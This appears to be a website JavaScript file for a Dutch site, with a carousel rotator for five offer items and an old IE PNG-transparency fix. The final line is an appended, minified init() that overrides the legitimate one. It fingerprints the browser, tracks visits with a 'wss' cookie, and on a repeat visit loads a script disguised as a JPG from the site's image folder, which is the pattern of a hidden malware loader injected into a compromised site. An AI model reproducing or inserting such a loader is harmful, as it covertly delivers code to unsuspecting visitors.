var aanbod = 1;
var timer = null

function init() {
	timer = setInterval("initAanbod(1, false)", 5000);
}

function swapAanbod(dir, next) {

	if (timer !== null)
		clearInterval(timer);

	$('item-' + aanbod).style.display = 'none';
	$('nummer-' + aanbod).className = '';
	
	if (next === true) {
		if (dir == 1 && aanbod == 5)
			aanbod = 1;
		else if (dir == -1 && aanbod == 1)
			aanbod = 5;
		else
			aanbod += dir;
	} else {
		aanbod = dir;
	}	

	$('item-' + aanbod).style.display = 'block';
	$('nummer-' + aanbod).className = 'active';		

}

function initAanbod() {

	$('item-' + aanbod).style.display = 'none';
	$('nummer-' + aanbod).className = '';
	
	if (aanbod == 5)
		aanbod = 1;
	else
		aanbod += 1;	

	$('item-' + aanbod).style.display = 'block';
	$('nummer-' + aanbod).className = 'active';		

}

// correctly handle PNG transparency in Win IE 5.5 & 6.
function correctPNG() 
{
   var arVersion = navigator.appVersion.split("MSIE")
   var version = parseFloat(arVersion[1])
   if ((version >= 5.5 && version < 7) && (document.body.filters)) 
   {
      for(var i=0; i<document.images.length; i++)
      {
         var img = document.images[i]
         var imgName = img.src.toUpperCase()
         if (imgName.substring(imgName.length-3, imgName.length) == "PNG")
         {
            var imgID = (img.id) ? "id='" + img.id + "' " : ""
            var imgClass = (img.className) ? "class='" + img.className + "' " : ""
            var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
            var imgStyle = "display:inline-block;" + img.style.cssText 
            if (img.align == "left") imgStyle = "float:left;" + imgStyle
            if (img.align == "right") imgStyle = "float:right;" + imgStyle
            if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle
            var strNewHTML = "<span " + imgID + imgClass + imgTitle
            + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
            + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
            + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
            img.outerHTML = strNewHTML
            i = i-1
         }
      }
   }    
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/_images/aanbod_volgende.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();